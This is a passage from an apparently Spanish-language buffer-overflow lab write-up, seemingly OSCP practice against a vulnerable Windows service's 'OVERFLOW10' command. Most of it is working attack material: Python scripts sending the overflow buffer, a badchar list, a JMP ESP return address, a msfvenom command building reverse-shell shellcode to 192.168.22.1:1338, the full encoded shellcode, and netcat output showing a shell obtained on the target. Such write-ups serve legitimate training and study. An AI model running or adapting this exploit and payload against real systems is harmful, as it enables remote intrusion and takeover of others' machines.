\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0""\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0""\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")eip_ret="B"*4nops=""# 16 bytespadding="C"buff="A"*537+eip_ret+nops+badchars+padding*(1050-537-4-255)# 255 badcharstry:log.info("Realizando conexion.")s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect=s.connect((address,port))data=s.recv(1024)s.send("OVERFLOW10 %s\r\n"%buff)s.close()log.info("Conexion Finalizada.")exceptExceptionase:#print(e)log.failure("Parece que el programa se detuvo.")sys.exit(1)
Realizamos la busqueda de badchars como en el primer reto. Inicialmente encontramos los badchars "\x00\xa0\xad\xbe\xde\xef".
1
\x00\xa0\xad\xbe\xde\xef
JMP ESP
Buscamos una instrucción de salto al ESP con mona.
┌──(kali㉿kali)-[/usr/share/metasploit-framework/tools/exploit]└─$ msfvenom -p windows/shell_reverse_tcp EXITFUNC=thread LHOST=192.168.22.1 LPORT=1338 -a x86 --platform windows -f c -b "\x00\xa0\xad\xbe\xde\xef"Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai failed with A valid opcode permutation could not be found.
Attempting to encode payload with 1 iterations of generic/none
generic/none failed with Encoding failed due to a bad character (index=3, char=0x00)Attempting to encode payload with 1 iterations of x86/call4_dword_xor
x86/call4_dword_xor succeeded with size 348(iteration=0)x86/call4_dword_xor chosen with final size 348Payload size: 348 bytes
Final size of c file: 1488 bytes
unsigned char buf[]="\x29\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e""\xdd\xa6\xc1\xce\x83\xee\xfc\xe2\xf4\x21\x4e\x43\xce\xdd\xa6""\xa1\x47\x38\x97\x01\xaa\x56\xf6\xf1\x45\x8f\xaa\x4a\x9c\xc9""\x2d\xb3\xe6\xd2\x11\x8b\xe8\xec\x59\x6d\xf2\xbc\xda\xc3\xe2""\xfd\x67\x0e\xc3\xdc\x61\x23\x3c\x8f\xf1\x4a\x9c\xcd\x2d\x8b""\xf2\x56\xea\xd0\xb6\x3e\xee\xc0\x1f\x8c\x2d\x98\xee\xdc\x75""\x4a\x87\xc5\x45\xfb\x87\x56\x92\x4a\xcf\x0b\x97\x3e\x62\x1c""\x69\xcc\xcf\x1a\x9e\x21\xbb\x2b\xa5\xbc\x36\xe6\xdb\xe5\xbb""\x39\xfe\x4a\x96\xf9\xa7\x12\xa8\x56\xaa\x8a\x45\x85\xba\xc0""\x1d\x56\xa2\x4a\xcf\x0d\x2f\x85\xea\xf9\xfd\x9a\xaf\x84\xfc""\x90\x31\x3d\xf9\x9e\x94\x56\xb4\x2a\x43\x80\xce\xf2\xfc\xdd""\xa6\xa9\xb9\xae\x94\x9e\x9a\xb5\xea\xb6\xe8\xda\x59\x14\x76""\x4d\xa7\xc1\xce\xf4\x62\x95\x9e\xb5\x8f\x41\xa5\xdd\x59\x14""\x9e\x8d\xf6\x91\x8e\x8d\xe6\x91\xa6\x37\xa9\x1e\x2e\x22\x73""\x56\xa4\xd8\xce\x01\x66\xcb\xa7\xa9\xcc\xdd\xa3\xfb\x47\x3b""\xcc\xd1\x98\x8a\xce\x58\x6b\xa9\xc7\x3e\x1b\x58\x66\xb5\xc2""\x22\xe8\xc9\xbb\x31\xce\x31\x7b\x7f\xf0\x3e\x1b\xb5\xc5\xac""\xaa\xdd\x2f\x22\x99\x8a\xf1\xf0\x38\xb7\xb4\x98\x98\x3f\x5b""\xa7\x09\x99\x82\xfd\xcf\xdc\x2b\x85\xea\xcd\x60\xc1\x8a\x89""\xf6\x97\x98\x8b\xe0\x97\x80\x8b\xf0\x92\x98\xb5\xdf\x0d\xf1""\x5b\x59\x14\x47\x3d\xe8\x97\x88\x22\x96\xa9\xc6\x5a\xbb\xa1""\x31\x08\x1d\x21\xd3\xf7\xac\xa9\x68\x48\x1b\x5c\x31\x08\x9a""\xc7\xb2\xd7\x26\x3a\x2e\xa8\xa3\x7a\x89\xce\xd4\xae\xa4\xdd""\xf5\x3e\x1b";
Agregamos nuestro shellcode y NOPs, finalmente calculamos el padding para mantener la longitud de nuestro buffer (1050).
shellcode=("\x29\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e""\xdd\xa6\xc1\xce\x83\xee\xfc\xe2\xf4\x21\x4e\x43\xce\xdd\xa6""\xa1\x47\x38\x97\x01\xaa\x56\xf6\xf1\x45\x8f\xaa\x4a\x9c\xc9""\x2d\xb3\xe6\xd2\x11\x8b\xe8\xec\x59\x6d\xf2\xbc\xda\xc3\xe2""\xfd\x67\x0e\xc3\xdc\x61\x23\x3c\x8f\xf1\x4a\x9c\xcd\x2d\x8b""\xf2\x56\xea\xd0\xb6\x3e\xee\xc0\x1f\x8c\x2d\x98\xee\xdc\x75""\x4a\x87\xc5\x45\xfb\x87\x56\x92\x4a\xcf\x0b\x97\x3e\x62\x1c""\x69\xcc\xcf\x1a\x9e\x21\xbb\x2b\xa5\xbc\x36\xe6\xdb\xe5\xbb""\x39\xfe\x4a\x96\xf9\xa7\x12\xa8\x56\xaa\x8a\x45\x85\xba\xc0""\x1d\x56\xa2\x4a\xcf\x0d\x2f\x85\xea\xf9\xfd\x9a\xaf\x84\xfc""\x90\x31\x3d\xf9\x9e\x94\x56\xb4\x2a\x43\x80\xce\xf2\xfc\xdd""\xa6\xa9\xb9\xae\x94\x9e\x9a\xb5\xea\xb6\xe8\xda\x59\x14\x76""\x4d\xa7\xc1\xce\xf4\x62\x95\x9e\xb5\x8f\x41\xa5\xdd\x59\x14""\x9e\x8d\xf6\x91\x8e\x8d\xe6\x91\xa6\x37\xa9\x1e\x2e\x22\x73""\x56\xa4\xd8\xce\x01\x66\xcb\xa7\xa9\xcc\xdd\xa3\xfb\x47\x3b""\xcc\xd1\x98\x8a\xce\x58\x6b\xa9\xc7\x3e\x1b\x58\x66\xb5\xc2""\x22\xe8\xc9\xbb\x31\xce\x31\x7b\x7f\xf0\x3e\x1b\xb5\xc5\xac""\xaa\xdd\x2f\x22\x99\x8a\xf1\xf0\x38\xb7\xb4\x98\x98\x3f\x5b""\xa7\x09\x99\x82\xfd\xcf\xdc\x2b\x85\xea\xcd\x60\xc1\x8a\x89""\xf6\x97\x98\x8b\xe0\x97\x80\x8b\xf0\x92\x98\xb5\xdf\x0d\xf1""\x5b\x59\x14\x47\x3d\xe8\x97\x88\x22\x96\xa9\xc6\x5a\xbb\xa1""\x31\x08\x1d\x21\xd3\xf7\xac\xa9\x68\x48\x1b\x5c\x31\x08\x9a""\xc7\xb2\xd7\x26\x3a\x2e\xa8\xa3\x7a\x89\xce\xd4\xae\xa4\xdd""\xf5\x3e\x1b")eip_ret=pack("<L",0x62501205)nops="\x90"*16padding="C"buff="A"*537+eip_ret+nops+shellcode+padding*(1050-537-4-16-348)try:log.info("Realizando conexion.")s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect=s.connect((address,port))data=s.recv(1024)s.send("OVERFLOW10 %s\r\n"%buff)s.close()log.info("Conexion Finalizada.")exceptExceptionase:#print(e)log.failure("Parece que el programa se detuvo.")sys.exit(1)
Tras ejecutar el script logramos obtener una shell.
1
2
3
4
5
6
7
8
9
10
11
➜ OVERFLOW_10 nc -lnvp 1338Listening on 0.0.0.0 1338Connection received on 192.168.22.128 49189Microsoft Windows [Versin 6.1.7601]Copyright (c)2009 Microsoft Corporation. Reservados todos los derechos.
C:\Users\sckull\Desktop\vulnerable-apps\oscp>echo %username%
echo %username%
sckull
C:\Users\sckull\Desktop\vulnerable-apps\oscp>